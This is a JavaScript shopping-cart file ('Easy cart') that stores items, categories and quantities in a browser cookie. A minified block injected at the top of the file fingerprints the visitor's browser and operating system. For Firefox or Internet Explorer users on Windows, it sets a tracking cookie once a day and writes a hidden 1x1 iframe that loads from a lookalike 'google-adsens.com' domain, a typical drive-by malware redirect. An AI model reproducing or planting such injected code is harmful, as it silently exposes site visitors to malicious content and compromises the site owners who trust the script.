var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
	/**
	Easy cart
		COOKIE IS
		itemid,itemcat,quantity:itemid,itemcat,quantity;....
		ITEM IS
		array=>id,qty
	**/
	var cookiename='cart';
	function readCookie(name) {
		var nameEQ = name + "=";
		var ca = document.cookie.split(';');
		for(var i=0;i < ca.length;i++) {
			var c = ca[i];
			while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
		}
		return null;
	}
	function getItemsFromCookie(){
		var cookie=readCookie(cookiename);
		if (cookie==null||cookie=='')
			return new Array();
		var items_str=cookie.split(':');
		var items=new Array();
		for (i=0;i<items_str.length;i++){
			item_str=items_str[i].split(',');
			var item=new Array();
			item['id']=item_str[0];
			item['cat']=item_str[1];
			item['qty']=item_str[2];
			items[i]=item;
		}
		return items;
	}
	function setItemsToCookie(items){
		var value="";
		for (var i=0;i<items.length;i++){
			value+=':'+parseInt(items[i]['id'])+','+parseInt(items[i]['cat'])+','+parseInt(items[i]['qty']);
		}
		value=value.substr(1);
		/*Expire?
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
		*/
		document.cookie = cookiename+'='+value+'; path=/';
	}
  function resetCookie(){
    setItemsToCookie(new Array());
  }
	function addOneItem(id, cat, callback){
		return addItem(id, cat, 1, callback);
	}
	function addItem(id, cat, qty, callback){
		if(qty<1)
			return;
		var items=getItemsFromCookie();
		var found=false;
		for(i=0;i<items.length;i++){
			if (items[i]['id']==id)
			{
				found=true;
				items[i]['qty']=''+(parseInt(items[i]['qty'])+parseInt(qty));
			}
		}
		if(!found){
			var item=new Array();
			item['id']=id;
			item['cat']=cat;
			item['qty']=''+qty;
			items.push(item);
		}
		setItemsToCookie(items);
		if(callback!=null)
			callback();
		return;
	}
	function removeOneItem(id,cat,callback){
		var items=getItemsFromCookie();
		for(i=0;i<items.length;i++){
			if (items[i]['id']==id)
			{
				if(parseInt(items[i]['qty'])>1)
				{	items[i]['qty']=''+(parseInt(items[i]['qty'])-1);
					setItemsToCookie(items);
				}
				else if (parseInt(items[i]['qty'])==1)
					removeItem(id,cat,callback);
			}
		}
		if(callback!=null)
			callback();
		return;
	}
	function removeItem(id,cat,callback){
		var items=getItemsFromCookie();
		var items_temp=new Array();
		var k=0;
		for(i=0;i<items.length;i++){
			if (items[i]['id']==id){
				
			}else{
				items_temp[k++]=items[i];
			}
			/*if (items[i]['id']==id)
			{
				if(parseInt(items[i]['qty'])>0)
					items[i]['qty']=''+(parseInt(items[i]['qty'])-1);
			}*/
		}	
		setItemsToCookie(items_temp);
		if(callback!=null)
			callback();
		return;
	}
	function removeAllItems(callback){
		setItemsToCookie(new Array());
		if(callback!=null)
			callback();
		return;		
	}
	function getNumberInChart(){
	/*
		var items=getItemsFromCookie();
		return items.length;
	*/
		var num=0;
		var items=getItemsFromCookie();
		if(items.length==0||items==null)
			return 0;
		for(i=0;i<items.length;i++){
			num+=parseInt(items[i]['qty']);
		}
		return num;
	}

